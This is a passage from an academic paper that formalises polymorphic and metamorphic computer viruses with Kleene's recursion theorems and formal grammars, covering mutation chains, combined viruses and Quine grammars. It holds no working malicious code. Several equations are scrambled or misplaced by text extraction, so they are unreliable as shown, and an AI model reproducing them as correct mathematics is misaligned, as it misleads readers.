the  whole  code.  Thus  simple  polymorphic  viruses  always  replicate  using  the  same code:  their 
mutation function is fixed. Metamorphic viruses however mutate their code and thus are able to 
mutation their mutation function.

In this paper, starting from the work of Bonfante & al, we adopt a more practical approach by 
considering  directly  in  our  formalism  these  mutation  functions.  However,  rather  than  limiting 
ourselves to one mutation function, we hypothetically consider the case of mutation at any depth. 
We study this formalism according to two approaches, one being behavioural, which corresponds to 
Bonfante  &  al’s  work,  the  other  one  being  syntactic.  After  formalizing  these  approaches,  we 
consider the case of infinite depth of mutation and conclude with the problem of viability of the 
replication: how do we ensure that an infected program continues replication. This formalism is 
finally illustrated by the case of combined viruses, which are multi-part viruses. 

Poly/metamorphic  viruses  can  also  be  modelled  using  formal  grammars  (Filiol,  2007). 
Metamorphic viruses are in particular modelled by grammars operating on other grammars: the 
parallel with recursive functions seen as integers operating on integers is straightforward. Thus we 
investigate in the end a recursion approach of the theory of formal grammars.



Viruses in the recursion theory

Notations

In the recursion theory,  programs are represented by integers (using Gödel’s numbering). For a 
given program  p  ∈ ℕ,  φp is the semi-recursive function computed by  p.  Encoding of tuples of 
integers into integers is denoted by 〈⋯〉. When unambiguous, brackets may be omitted.

Recursion theorems

Self-reproduction of programs relies on two fundamental theorems, established by Kleene (1938):

Theorem  1 (Iteration theorem).  There exists  a  semi-recursive function S:  ℕ × ℕ →  ℕ which 
verifies:

For any program p, for any integer x, the program S (p, x) verifies:

∀ y ∈ ℕ,  φS(p, x) (y) =  φp (x, y)

S (p, x) is said to specialize program p on input x.

S is called the iteration function or the s-m-n function.

Theorem 2 (Recursion theorem). For any recursive function f, there exists a program e such that:

∀ x ∈ ℕ,  φe (x) = f (e, x)

This theorem proves the existence of self-reproducing programs. For instance, Quine programs2 

merely correspond to the function: f (p, x) = p.

Subsequently,  Smullyan  extended  the  recursion  theorem to  two  recursive  functions  (Smullyan, 
1993):

Theorem 3 (Double recursion theorem). For any recursive functions f and g, there are programs e1 

and e2 such that:

These theorems, along with their variants, provide a basis to Bonfante & al’s formalism, as detailed 
in the next section.

Current formalism

Bonfante, Kaczmarek and Marion defined a virus with respect to a semi-recursive function B, which 
is called propagation function (Bonfante, Kaczmarek & Marion, 2007). This function describes how 

2 A Quine program is a program that outputs its own code.

∀ x, φe1
x  ¿ f e1 ,e2 ,x 

φe2
x  ¿ g e1 ,e2 ,x 



a virus can infect (insert itself into) a program. We here recall the different classes of viruses they 
defined and their associated results.

Definition 1 (Virus). A program v is a virus wrt a semi-recursive function B iff:

∀ p, ∀ x,  φv (p, x) = φB(v, p) (x)

Existence of such viruses comes from a simple application of Kleene’s recursion theorem. Since the 
proof  of  this  theorem is  constructive,  a  virus  can be  constructed  for  any propagation  function 
(Bonfante & al, 2007).

Moreover, Bonfante & al proved that this generic definitio encompasses any previous definition of 
viruses by Cohen (1986), Adleman (1988) and Zuo and Zhou (2004).

Blueprint viruses

A blueprint virus (Bonfante & al, 2007) is defined wrt a semi-recursive function g which specifies 
the  behaviour  of  the  virus  in  an  environment.  Such  viruses  simply  duplicate  their  code  when 
replicating.

Definition 2 (Blueprint virus). A program p is a blueprint virus wrt a semi-recursive function g iff:

• v is a virus wrt some propagation function.

• ∀ p, x,  φv (p, x) = g (v, p, x)

Bonfante & al. show that there exists a blueprint distribution engine which yields a blueprint virus 
for any semi-recursive function  g and wrt a fixed propagation function, which happens to be the 
iteration function S.

In order to allow the mutation of blueprint viruses during replication, evolving blueprint viruses are 
defined:

Definition 4 (Evolving blueprint virus). A program dv is a distribution of evolving blueprint viruses  
wrt a semi-recursive function g iff:

• dv is a distribution engine.

• ∀ i,p,x,   φd v i 
 p,x =gd v ,i,p,x 

The existence of such viruses relies on a parameterized variant of Kleene’s recursion theorem.

2.3.2 Smith viruses

Evolving blueprint  viruses  are defined wrt  a  fixed propagation function.  We now define  smith 
viruses wrt a specification function which depends on their propagation function. Thus a smith virus 
corresponds to the couple of the virus and its propagation function:



Definition 5 (Smith virus). Two programs v and B are a smith virus iff:

• v is a virus wrt B

• ∀ p, x,  φv (p, x) = g (B, v, p, x)

Existence of smith viruses relies on the double recursion theorem (theorem 3).

Definition 6 (Virus distribution). A virus distribution is a pair (dv, dB) such that for any i, φd v
 i   is  

a virus wrt φd B
 i  .

Again, as for blueprint distribution engines, there exist smith virus distributions which are virus 
distributions operating on specification functions and yielding smith viruses wrt these specification 
functions.

Finally, the class of smith distributions is defined by the viruses which can mutate their code along 
with their propagation function (metamorphic viruses):

Definition  7 (Smith distribution).  Two programs dv and dB are a smith distribution wrt a semi-
recursive function g iff:

• (dv, dB) is virus distribution.

• ∀ i,p,x,   φφd v
i  p,x =g d B ,d v ,i,p,x 

Existence of such viruses relies on a parameterized version of the double-recursion theorem.

Recursion and vertical mutation

Vertical mutation chains

First, let’s consider the seeming equivalence between blueprint viruses and smith distributions. A 
blueprint  virus  (along with  its  propagation  function)  can be  seen  as  a  smith  distribution,  with 
constant  virus  distribution.  Same  goes  for  evolving  blueprint  viruses.  Conversely,  a  smith 
distribution can be seen as a distribution of evolving blueprint  viruses.  Let  (dv,  dB) be a smith 
distribution  wrt  a  specification  function  g:  each  virus  generated  by  dv is  a  virus  wrt  its  own 
propagation  function.  However,  if  we  consider  the  semi-recursive  function  g' defined  by  the 
specialization of g for dB (g' = S (g, dB)), then dv is an evolving blueprint virus distribution wrt g' 
and the propagation function S (iteration function). Thus the classes of evolving blueprint viruses 
and of viruses generated by smith distributions are formally identical.

Moreover, the proposed formalism only considers two levels of mutation: a given virus can mutate 
its  code  and  its  propagation  function.  We  thus  extend  this  formalism  to  model  any  depth  of 
mutation. This mutation is vertical, as opposed with horizontal mutation which occurs on a given 
depth of mutation between different virus generations.

Let’s call mutation function at level  n the function that models the mutation of the  n-1-mutation 
function, given an environment and mutation functions at lower levels. At level  0 , the mutation 



function  yields  the  infected  program when  given  as  input  the  virus,  a  target  program and  an 
environment. These functions will be formally defined later.

We are also interested in the number of mutation levels from which the mutation functions can be 
considered fixed and we will more particularly study the case of infinite (vertical) mutation chains, 
as well as the notion of viable replication (i.e. an infected program can still effectively replicate).

From a  syntactic  perspective,  let’s  now suppose  that  a  virus  has  no  access  to  its  propagation 
function: then considering this propagation function isn’t justified in a sense and we could consider 
that  this  propagation  function  is  the  iteration  function.  So  the  number  of  mutation  levels  is 
motivated by the actual ability to extract the mutation function on any of these levels. Similarly 
viruses that mutate their code in a fixed way can actually be considered as strictly mutating their 
mutation function. For instance, consider a virus v0 which yields its own code (using a self reference 
provided by the environment) plus a space, and a virus v1 which is a variant of a Quine program (a 
program that outputs its own code) modified in such a way that it appends a space at the end of its 
code. v0 and v1 have then the same behaviour when replicating, but v0 has a fixed mutation function 
whereas v1 has a variable mutation function since it actually depends on the current virus code.

Notations

Let v be a given virus, p a program to infect and x an environment. In the following, when program 
p and environment x are unambiguous, we will denote by v' the result of infection of program p by 
virus v in environment x (i.e. the resulting infected program).

We recursively define the mutation functions of the virus v by:

For sake of clarity, we may denote by Φv the ground level mutation function and by Ψv the level 1 
mutation function.

Behavioural and syntactic equations

The following results  respond to  two of  the  previous questions.  When can we consider  that  a 
mutation function is fixed? And, supposing we can consider that a mutation function is fixed, on 
what  basis  should we actually consider  that  it  is  not? The first  question will  explain the prior 
considerations on evolving blueprint viruses and smith distributions, while the second question will 
make more explicit the reasons why in some cases it remains interesting to consider the behaviour 
of  mutation functions.  Having answered  these  questions,  we can formalize in  more details  the 
mutation on any level.

Mutation functions can be studied from two approaches: a behavioural one and a syntactic one. The 
behavioural approach corresponds to the one adopted by Bonfante & al.

Lemma 1. Let n be a given depth. If there exists a recursive function gn - 1 such that:

∀ v,  gn – 1 (v) = μn – 1, v (μn – 2, v, ⋯, μ0, v, v)

Then:

1. There exists  a  fixed mutation function μn such that,  for any virus  v  (usually  of  a  given  
strain), its mutation function μn – 1, v mutates according to μn.

μ0 ,v v,p,x  ¿ v'
∀ i, μ i,v μ i−1 ,v ,⋯ ,μ0 ,v ,p,x  ¿ μi−1 ,v'



2. Any deeper mutation function is fixed, being equal to the identity.

Proof. μn, v  verifies:

The new mutation function must be valid wrt the infected form of the virus, v', which is expressed 
by:

Since the constraints on μn  are local (for a given v, μn must yield a function that is valid at least on 
the v' specific input), taking μn (μn – 1, v, ⋯, μ0, v, v, p, x) = μn – 2, w, ⋯, μ0, w, w → gn – 1 (μ0, v (v, p, x))  
ends the proof.

□

This lemma allows us to consider relations that  characterize the local behaviour of a mutation 
function,  that  is  equations  expressing  that  a  given  function  locally  behaves  as  the  considered 
mutation function. If such a characterization exists, then it is represented by the function gn - 1. For 
instance, in the case of the ground level mutation function Φv, we can characterize this function by 
the  relation:  Φv (v)  = π1 ○  v,  which  corresponds  to  the  function  g0 = v  → π1 ○  v (where  π1 

corresponds to the projection on the first component, assuming that this component contains the 
infected program). Then lemma 1 tells us that the first level mutation function Ψv can be considered 
fixed. This result has a local extent, that is wrt the propagation. If for instance we are also able to 
characterize the result of the mutation function Ψv with respect to a virus v, then the previous result 
would  be  discarded.  Yet  it  remains  locally  valid,  which  amounts  to  the  following  consistency 
property:

∀ v, p, x,  g1 (v) (p, x) (v') = g0 (v')

Thus, on a strictly functional perspective, we can consider a single level of mutation, as deeper 
mutation functions can be approximated. Nevertheless, in general, it makes sense to consider the 
mutation of Φ, since g0 is defined by: g0 = v → π1 ○ v.

As was previously explained, we also want to consider the case of the mutation functions being 
explicitly and syntactically enclosed into (and thus extractable from) the virus. Then we would like 
to relate both perspectives and make them compatible with each other. This second case leads to the 
following lemma (derived from lemma 1):

Lemma 2. Let  n be a given depth. If there exist two recursive functions h0 and hn - 1 such that:

∀ v, h0 (v) = μ0, v and hn – 1 (v) = μn – 1, v

∀ v,p,x,   μn,v μn−1 ,v ,⋯,μ0 ,v ,v,p,x =μ n−1 ,μ0 ,v v,p,x =μn−1 ,v'

∀ v,p,x,
μn μn−1 ,v ,⋯,μ0 ,v ,v,p,x  μn−2 ,v' ,⋯ ,μ0 ,v' ,v' 

¿ μn−1 ,v' μn−2 ,v' ,⋯,μ0 ,v' ,v' 

¿ gn−1 μ0 ,v v,p,x 



Then:

1. There exists a fixed mutation function such that, for any virus v (usually of a given strain),  
its mutation function μn – 1, v mutates according to μn.

2. Any deeper mutation function is fixed, being equal to the identity.

Proof. Simply define μn as:

∀ v, p, x,  μn (μn – 1, v, ⋯, μ0, v, v, p, x) = hn – 1 (h0 (v) (v, p, x))

□ 

Thus functions hi are similar to functions gi but operate at a deeper level and no longer on a local 
scale. Rather than characterizing the behaviour of mutation functions wrt the behaviour of the virus, 
they characterize the fact that mutation functions can be syntactically and globally extracted from 
the virus. This is  the case for instance of viruses where the mutation grammars of level 1 and 
possibly deeper are directly encoded into the data of the virus, allowing us to define  h0,  h1, etc. 
Thus, for a given virus strain, there is no limit to the depth of mutation we should consider, since 
any mutation function at any level could be hard-coded into the virus. 

Both perspectives yield consistent equations.

Given the recursive functions gi, we get the following behavioural equations:

∀ p, x,  μi, v (μi – 1, v, ⋯, μ0, v, v, p, x) = gi (v) (p, x)

Also, given the recursive functions hi, we get the following syntactic equations:

∀ p, x,  μi, v (μi – 1, v, ⋯, μ0, v, v, p, x) = hi (v) (μi – 1, v, ⋯, μ0, v, v, p, x)

We finally redefine3 our original equation on v, for a given depth n – 1:

∀ p, x,  v (p, x) = f (μ0, v, ⋯, μn - 1, v, v, p, x)

Then application of the (n + 1)-ary recursion theorem (see appendices) to these equations, in any 
perspective, entails the existence of v and of such mutation functions.

Thus the first perspective entails the existence of the mutation functions but at a limited level as it is 
related to the characterization of the corresponding mutation functions. Deeper mutation functions 
must  be approximated by fixed ones.  And the  second perspective  also  entails  existence  of  the 
mutation functions, this time at any level – as long as the corresponding mutation function can be 
extracted  from the  virus  –  but  then  there  is  no  proof  that  the  mutation  functions  are  locally 
compatible with the actual ones. Thus, to make both perspectives compatible with each other, we 
simply add the following local constraints on the hi functions:

3 Note that this equation is furthermore justified by the fact that existence of these functions gi or hi relies precisely on the 
ability of the virus to be able to access and alter its mutations functions, thereby justifying the dependency of f on those.



These constraints  are  common sense as  the  hi functions could return anything unrelated to the 
mutation functions. Supposing the ground level mutation grammar is encoded into the virus, then 
this constraint simply requires that the grammar returned by h0 is the grammar being actually used 
to mutate the virus.

The original propagation function concept was thus extended by a more general consideration of 
mutation functions at any level, whereas the requirement of a correlation between a virus and its 
propagation function, as expressed in the original definition4, is now an intuitive formulation of the 
characterization of a mutation function with respect to a virus. The latter approach also allows to 
directly infer these mutation functions from the virus. Although that inference is easily understood 
in  the  case  of  the  ground level  mutation function  Φ,  as  it  can  be  computed directly  from the 
execution  of  a  virus  in  a  controlled  environment,  it  mostly  depends  on  the  virus  internal 
(programming) structure for deeper levels.

These results, that require an analysis of viruses from a more syntactic (implementation related) 
perspective, motivate their study from a grammar perspective, though some concepts are still easier 
to comprehend from the recursion theory perspective.

Infinite Vertical Mutation Chains

Finally,  we might want to consider  the case of an infinite vertical  mutation chain – i.e.  in the 
mutation functions. As was shown previously, no limit can be enforced on the depth of mutation. 
However, apart from the practice where mutations are usually limited to the first two levels, the 
case of an infinite set of mutations in the mutation functions is interesting to consider, with regards 
to its consistence as well as its theoretical basis. One can actually show that, using the previous 
equations and a countable version of the recursion theorem (see appendices), we are able generalize 
the previous results to any number of mutation functions. Indeed, this theorem entails the existence 
of a countable sequence of mutation functions that follow the previous specifications.

Thus, although the previous results were corroborated by the existence of actual implementations 
and thereby provided a theoretical background to these ones, this precise result actually shows that, 
even though there is currently no implementation of a virus with an infinite vertical mutation chain, 
such viruses theoretically do exist. Their practical existence is an open problem.

Also, when considering these mutation functions on a vertical scale, one could wonder if this does 
not actually correspond to a recursion structure, on a higher abstraction level. Indeed, for any finite 
number of mutation functions, the multary recursion theorem is derived from the basic recursion 
theorem and remains on an horizontal scale. Looking at the countable recursion theorem and its 
proof, one can actually see that it precisely corresponds to moving to a 1-higher abstraction level: 
the proof considers semi-recursive functions F and E that operate directly on the space of mutation 
functions.  Then  the  recursion  theorem  is  applied  in  this  dimension.  Thus  the  basic  recursion 
theorem  manipulates  functions,  while  the  countable  recursion  theorem  manipulates  sets  of 
functions, and one could even go further in the abstraction levels.

4 Namely: ∀ p, x,  v (p, x) = B (v, p) (x)

h0 v v  ¿ g0 v 
¿ π1°v

∀ p,x,   hi v μ i−1 ,v ,⋯,μ0 ,v ,v,p,x  ¿ μ
i−1 ,v ′

¿ hi−1h0 v v,p,x 



And necessarily, the previous remarks raise the question of a new recursion level that would operate 
directly on the scale of those F and E functions. This has not been investigated in this article.

Viable replication

To conclude with this formalism, we consider the problem of viable replication: how to make sure 
that the mutated form of a virus will continue replication. This is the very basis of virus theory. The 
case  of  basic  viruses  that  simply  replicate  by  copying themselves  is  straightforward.  However 
mutating viruses do not anymore verify the equations that gave birth to their strains. Though this is 
not explicitly mentioned in Bonfante & al.’s article (2007), they bring an answer for the case n < 2 
with the evolving blueprint viruses and the smith distributions. We merely generalize their result to 
the previous formalism, for any depth of mutation, including infinite depth.

Since the replication is linear, and rather than adding extra-requirements, Bonfante & al. index the 
viruses by a parameter i: thus all mutated forms of a virus are gathered into a so-called distribution 
engine, as explained previously. Then the recursion theorem is applied on this distribution engine 
rather than on a given virus. In a sense, this is an application of the countable recursion theorem to 
the countable set of all mutated forms of the virus. Such a distribution engine can be generalized to 
take into account any depth of mutation. Let’s denote by dv the distribution engine of v and by d μ

j  

the distribution engine of the mutation function µj, *: d μ
j
 i ≡μ j,d v  i  .

Then the equations these distributions must verify are the following:

where  the  functions  fi are  functions  gi or  hi from lemmas  1  and  2  (behavioural  and  syntactic 
functions).

Thus  the  (n  +  1)-ary  recursion  theorem still  applies.  The  same  goes  for  an  infinite  depth  of 
mutation.

Application: combined viruses

Combined viruses, also called k-ary viruses (Filiol, 2007), are a particular class of viruses that are 
composed  of  several  parts,  which  operate  together,  in  a  sequential  or  parallel  way.  Filiol 
decomposed these viruses into several classes (Filiol, 2007), depending on whether they operate 
independently (without any references to each other) or not. Class A contains strongly dependent 
codes, class B contains independent codes and class C contains weakly dependent codes (one-way 
dependency). Such viruses, whatever their class, are not compatible at first sight with our previous 
model.

Each virus part vi might behave according to its own mutation function fi. Thus each part might have 
its own independent horizontal and vertical mutation chain. Fully independent combined viruses are 
the simplest case: they correspond to the action of independent viruses. We will consider the two 
following cases:

∀ p,x,   d v i,p,x  ¿ f d μ
0 ,⋯ ,d μ

n−1 ,d v ,i,p,x 

∀ p,x,   d μ
0 d v ,i,p,x  ¿ f 0 d μ

0 ,⋯ ,d μ
n−1 ,d v ,i,p,x 

⋯

∀ p,x,   d μ
n−1 d μ

n−2 ,⋯,d μ
0 ,d v ,i,p,x  ¿ f n−1d μ

0 ,⋯ ,d μ
n−1 ,d v ,i,p,x 



Class B viruses – independent parts

First we shall note that a combined virus can be made of k parts and replicate into k' parts, which 
prevents us from considering mutation functions on the scale of each part. In the present case, the fi 

functions have two arguments: the part vi and the environment p, x that we will denote by x for sake 
of simplicity. However they must be considered as taking part to interactions with the other parts: 
depending on the virus, a part may be waiting for another part to complete a task or to answer a 
query.  Consequently,  we will  consider the functions  f i

¿  that  take a third and fourth argument, 
namely the execution state (subsequently denoted by j), which allows to resume function fi at any 
stage of its execution, and a number of execution steps (subsequently denoted by  n) to perform 
before being suspended. We could consider this execution state to be the instruction pointer  eip 
(along  with  viral  data  contained  in  other  registers  and  the  memory).  Repeated  application  of 
Kleene’s recursion theorem now yields:

∃v1
¿ ,∀ j,n,x,   v1

¿
 j,n,x =f 1

¿
 v1

¿ ,j,n,x  (1a)

...

∃vk
¿ ,∀ j,n,x,   vk

¿
 j,n,x =f k

¿
 vk

¿ ,j,n,x  (1k)

Then the viral part  vi is simply defined by:  ∀ x, v i x =v i
¿
0,∞ ,x  , where 0 represents the initial 

execution state.

Execution of the combined virus  v = {v1,  ⋯, vk} on an environment  x can be represented by an 
execution sequence: E (v, x) = ℕ → Steps, where Steps is defined by: Steps = {〈i, j, n, x'〉 | i ∈ [1,  
⋯ , k], j, n ∈ ℕ, x' ∈ Env}. i is the index of the part to be executed, j is the execution state it will 
start at, n is the number of execution steps to perform, and x' is the environment it will be executed 
into. We do not detail the consistence properties like  js being required to match the last  je of the 
current part (or 0 on the first execution) and similar sequence properties on x'.

Let’s denote by v (x) the result of the execution of v on environment x and suppose that (where of 
course x0 = x):

E (v, x) = (〈i0, j0, n0, x0〉, 〈i1, j1, n1, x1〉, ⋯ , 〈im, jm, nm, xm〉)

Then:

The miscellaneous interruptions are either the result of manual ones or the result of interactions 
with the environment like waiting for resources or for a response to a query, etc.

Finally, we represent this global interaction process as the result of an interaction function f which, 
given the  k viral parts, represents the result of the execution of  v on an environment  x. Since no 
physical entity is associated to the global virus v, this function f can only consist of executing a part, 
interrupting it, executing another one, interrupting it, resuming the first one, and so on. Thus this 
function  f is merely the execution function associated to the execution sequence of the virus. We 

v  x =v im

¿  jm ,nm ,vi m−1

¿  jm−1 ,nm−1 ,⋯v i0

¿  j0 ,n0 ,x ⋯



suppose that this execution sequence is normalized in the sense that a viral part is executed until it is 
automatically interrupted because of a resource need. We express the viral property of v by:

v (x) = f (v1, ⋯ , vk, x) (2)

Since f consists of the action of a given part, followed by the action of another part and so on, we 
have:

Using the previous equations 1a-1k, one can then easily verify that equation 2 is verified. Note that 
this result directly comes from the very restrictive design of f, which models the behaviour of v.

Other abstractions have also been studied that try to reconcile the theories of recursive functions 
and of interaction (Jacob, Filiol & Debar, 2007). Although they would be interesting to investigate 
with respect to our model, our current choice is only motivated by the simplicity of the present 
abstraction with regards to our problem.

Consideration of the mutation functions is a bit more tricky. First, we have to review our definition 
of µ0, v ≡ Фv. As told previously, in the general case, the mutation function only makes sense on the 
scale of the whole virus. So if  v replicates into  v' , we want:  µ0,  v (v, x) = v', where  v and  v' are 
actually multi-part viruses. As for the case of simple viruses, v' can be computed from the execution 
of v. The number of parts depends on v and the environment only (whether this number is randomly 
generated or not). Let к denote the function returning the new  k' from the current virus and the 
environment:  к (v, x) = |v'|.  Then, with the same simplification as in the previous sections (for 
common viruses):

µ0, v (v, x) = 〈π1 (v (x)), ⋯ , πк (v, x) (v (x))〉

In other words:  g0 = v → x → 〈π1 (v (x)),  ⋯ , πк (v,  x) (v (x))〉, where  g0 is the function defined in 
lemma 1.

Deeper mutation functions are unchanged, apart from the fact that their argument  v denotes the  k 
parts of the virus.

Then equations 1a-1k must be adapted:

∃v1
¿ ,∀ j,n,x,   v1

¿
 j,n,x =f 1

¿
 v1

¿ ,{μ i,v }i ,j,n,x  (3a)

...

∃vk
¿ ,∀ j,n,x,   vk

¿
 j,n,x =f k

¿
 vk

¿ , {μ i,v}i ,j,n,x  (3k)

as well as equation 2:

v (x) = f (v1, ⋯ , vk, {µi, v}i, x) (4)

f v1,⋯ ,vk ,x =f im

¿ v im

¿ ,j m ,nm ,f im−1

¿  vi m−1

¿ ,j m−1 ,nm−1 ,⋯ f i 0

¿  v i0

¿ ,j 0,n0, x 



Thus, we’re back with a similar system as previously. Adding the equations on the µi, v – using the gi 

or  hi functions –, the polyadic recursion theorem entails the existence of the  v j
¿  and of the  µi,  v. 

Finally, using equations 3a-3k, one can ensure that equation 4 is still verified.

Class A viruses – dependent parts

The case of dependent parts is very similar, in its formalization, to the independent one. This merely 
amounts to adding a dependency of the fi (resp. f i

¿ ) on all vi (resp. vi
¿ ). Then, together with the 

equations on the mutation functions µi, v, we can apply the polyadic recursion theorem, which entails 
existence of these functions.

The final equation must take into account these new dependencies, in the f i
¿  expressions, but, as 

one can check, it remains verified.

Also, Filiol defined another class of combined viruses, namely the class C, which corresponds to 
weakly dependent codes, where the dependency only exists in one direction – v1 is aware of v2 but 
this is not true conversely. This class is a specific case of dependent parts where the function  fi 

(resp.  f i
¿ ) does not depend on the parts  vj  < i (resp.  v j<i

¿ ). In that particular case and when not 
considering the mutation functions, Kleene’s recursion theorem can be repeatedly applied k times – 
starting from the last part – in order to yield the existence of parts vi, thanks to the special form of 
these equations:

Theoretically speaking, class C viruses are thus, despite what we could have thought, closer to class 
B viruses (independent parts) than to class A viruses. This similarity actually motivated the choice 
of distinguishing into separate classes weakly dependent codes from strongly dependent codes. 

However this property is no longer verified when considering mutation functions – as one would 
expect since these mutation functions strictly depend on all parts. 

Finally, a particular case of such dependent viruses consists of executing only the first virus part v1, 
which will in turn execute the other parts when needed. This is the behaviour of sequential class A 
combined viruses, which are, along with class C viruses, the most common combined viruses. This 
case corresponds to the following equation:

v (x) = f1 (v1, ⋯ , vk, {µi, v}i, x)

which corresponds to a particular case of the execution sequence of v (and hence of its execution 
function f).

Thus, this difference between class A (dependent parts)  and class B viruses (independent parts) 
results  –  when  not  considering  the  mutation  functions  –  in  a  unique  application  of  the  k-ary 
recursion  theorem,  for  the  first  case,  wrt  to  k independent  applications  of  the  basic  recursion 
theorem, for the second case. In a sense, “viral dimensions” are preserved in the recursion theory.

∃ v1
¿ ,∀ j,n,x,   v1

¿  j,n,x  ¿ f 1
¿ v1

¿ ,⋯ ,vk
¿ , {μi,v }i ,j,n,x 

⋯

∃vk
¿ ,∀ j,n,x,   vk

¿  j,n,x  ¿ f k
¿ vk

¿ , {μ i,v}i ,j,n,x 



Formal Grammars and Recursion

Viral  mutation  can  be  modelled  by  formal  grammars,  as  detailed  in  (Filiol,  2007).  Syntactic 
polymorphism can consist in transforming groups of instructions in other groups of instructions: 
detection  of  a  mutated form of  a  virus  then relies  on the  complexity  of  the  associated formal 
grammar. Functional polymorphism can also be modelled by formal grammars, where the terminal 
symbols  are  behaviours  instead of  instructions.  More generally,  metamorphic  viruses  transform 
their code entirely. Thus, a metamorphic virus can be represented by a grammar which operates on 
other grammars. Filiol proposes the following definition (Filiol, 2007):

Definition 8 (Metamorphic virus). A metamorphic virus is represented by a grammar G = (N, T, S,  
R) where T is a set of grammars (over programs) and S is the initial grammar (first generation of  
the virus). Each generation of the virus corresponds to a word of a grammar G' such that G' ∈ L 
(G).

Thus, when the form vi of a metamorphic virus represented by a grammar G replicates into a form vi 

+ 1, we have:

This definition involves that a grammar Gi associated to generation i must behave locally (on Gi) as 
the grammar G, since G represents the global behaviour of the virus v for any generation. Thus we 
perceive a first notion of recursion. Also, grammars that operate on grammars are a second, more 
straightforward, notion of recursion: in the recursion theory, recursive functions can indeed be seen 
as integers operating on integers.

Also, the equivalence between formal grammars and Turing machines gives sense to the study of 
recursion inside the theory of formal grammars. We first consider the example of Quine grammars 
which illustrates even more the interest of considering formal grammars from a recursive point of 
view.

Quine grammars

Quine programs are programs that exactly output their own source code. For instance, a basic trick 
is  to  define  a  function that  outputs  a  string  which  contains  a  recursive  reference to  itself:  the 
program calls this function with its code, replacing this very call with a recursive reference.

void  print  (char  *s)  {
  ...  /* this outputs s and replaces any occurence of %% by s.
}
void  main  ()  {
  print  ("void  print  (char  *s)  {"
         ...
         "}"
         "void  main  ()  {"
         "  print (\"%%\");"

         "}");
}

vi⇒G vi+ 1  and   v i⇒vi
vi+1



Thus we can also imagine formal grammars that output – in an encoded way – their own code – 
meaning an unambiguous encoding of their set of rewriting rules. Such Quine grammars can follow 
the same algorithmic principles as for Quine programs. We give a constructive example of such a 
grammar in the first appendix.

Recursion theorems

Existence  of  Quine  programs  comes  from Kleene’s  recursion  theorem (theorem 2),  applied  to 
function f : x, y → x, which entails the existence of a program p such that:

∀ x, φp (x) = p

Thus it seems legitimate to define a recursion theorem for formal grammars, given the equivalence 
between  type  0  grammars  (unrestricted  grammars)  and  recursively  enumerable  languages 
(recognizable by Turing machines).

Theorem  4 (First Recursion Theorem).  Given a formal grammar G = (Δ, N, T), there exists a  
grammar G' = (Δ', N, T) such that:

∀ X ∈  N∪T *,∃α∈T∗¿∞ ,   X 
G '

∗α∗
G

〈G ', X 〉

X 
G

∗∞  means that  X cannot rewrite into any terminal sequence (either because of an infinite 

sequence of rewritings, denoting a loop in a program, or because no rewriting rule can be applied). 
〈G', X〉 denotes the encoded pair of a representation  [G'] of  G' and  X (using some appropriate 
encoding).

A second recursion theorem can also be inferred:

Theorem 5 (Second Recursion Theorem). Given a formal grammar G, there exists a grammar G'  
such that:

∀ x,  x ∈ L (G') ⇔ 〈G', x〉 ∈ L (G)

Both theorems are direct formulations of Kleene’s recursion theorem. The first theorem transforms 
a semi-recursive function into a grammar which rewrites an input into an output and conversely. 
The second theorem transforms a semi-recursive function into a grammar recognizing the words on 
which this function is defined and conversely (since any recursively enumerable language can be 
recognized by a semi-recursive function).

Then, the existence of Quine grammars comes from theorem 4 applied to the grammar G with the 
following rule:

〈X, Y〉 ⇒ X

We get:



∃G ',∀ X ,   X 
G'

∗[G' ]

Theorem 5 could also have been used with the grammar G recognizing all couples 〈w, w〉. Thus G' 
recognizes only one word, which is the representation of itself [G'].

Iteration function

The iteration function, also called S-m-n function and denoted by S, is easily transposable to formal 
grammars. Consider a grammar G, that takes an input 〈x, y〉. Specialization of G for input x can be 
simply defined by the grammar G' that first transforms y in 〈x, y〉 and then uses the rules of G. Note 
that this is similar to the common programming way which would specialize f (x, y) for its input x 
by defining the function: g (y) = f (x, y). Thus this formal grammars perspective allows us to match 
the theory with its algorithmic counterpart.

Theorem 6 (Iteration theorem). There exists a formal grammar S which verifies:

For any grammar G, for any word X ∈ (N ∪ T)*, S transforms 〈G, X〉 into the representation [G']  
of a grammar G' such that:

∀Y ∈ N∪T *,∃α∈T∗¿∞ ,   〈X ,Y 〉
G

∗α∗
G '

Y

This section has highlighted the analogy between recursive functions and formal grammars and 
built a bridge between abstract virology studied from the somehow semantic point of view based on 
the formal grammars theory and abstract virology studied from the functional point of view based 
on the recursion theory.

Discussion

Studying viruses in the frameworks of recursion theory and of formal grammars allows to identify 
more precisely mechanisms on which virus reproduction relies or  mechanisms that  it  involves. 
While  Bonfante  1  al.  were  more  interested  in  the  replication  itself,  we  were  concerned  with 
mutation aspects that occur during this replication. Knowing these mechanisms is then helpful for 
instance in the following scopes:

• Understanding the underlying stakes and logic in viral detection and protection;

• Defining new detection models in which those mechanisms are controlled and/or restricted, 
and studying their viability, the involved limitations, etc.

Thus, though this study might seem a bit abstract with regard to the actual antiviral defense, the 
theories of recursion and of formal grammars are very powerful frameworks where viral techniques 
can be both modelled and studied.

Conclusion

We have extended the relation between the recursion theory and the concept of viral replication and 
mutation to any depth of mutation, showing by the way the theoretical existence of viruses with an 
infinite vertical mutation. This formalism considers a behaviour-based approach, as was done in 
Bonfante & al seminal work, along with a syntax-based approach which allows for more practical 



considerations, namely accessing the mutation functions of a virus. Also we introduced some basic 
notions of recursion in the theory of formal grammars: the formalization of metamorphic viruses by 
grammars operating on other grammars makes this approach somehow promising. Future work will 
investigate this new approach in regards of virus behaviour and virus detection.

We did not consider interactions in our formalism, although actual viruses tend to use it more and 
more:  the  study  of  combined  viruses  also  showed  the  practical  interest  of  considering  such 
interactions. Some work has already been done to address this need, like in (Jacob, Filiol, Debar, 
2007). Future work will thus try to reconcile this formalism with the theory of interactions.



Appendices

Quine grammars

Consider the following example of a Quine program:

void  print  (char  *s)  {
  ...  /* this outputs s and replaces any occurence of %% by s. */
}
void  main  ()  {
  print  ("void  print  (char  *s)  {"
         ...
         "}"
         "void  main  ()  {"
         "   print  (\"%%\");"
         "}");
}

A Quine grammar can now use the same principle. Let’s denote the initial non terminal symbol by 
S. We want our grammar  G to rewrite  S in a representation of  G. This representation is free and 
should  allow  encoding  and  decoding  of  any  grammar.  We  will  use  the  following  convenient 
representation:

• a  sequence  of  rules  δ1,  ⋯ ,  δn is  represented  by  [δ1];  [⋯]  ;  [δn],  where  [δ]  is  the 
representation of the rule δ.

• a rule A ⇒ B is represented by [A] : [B].

• a word X . W is represented by x . [W], where x is a terminal symbol associated to X.

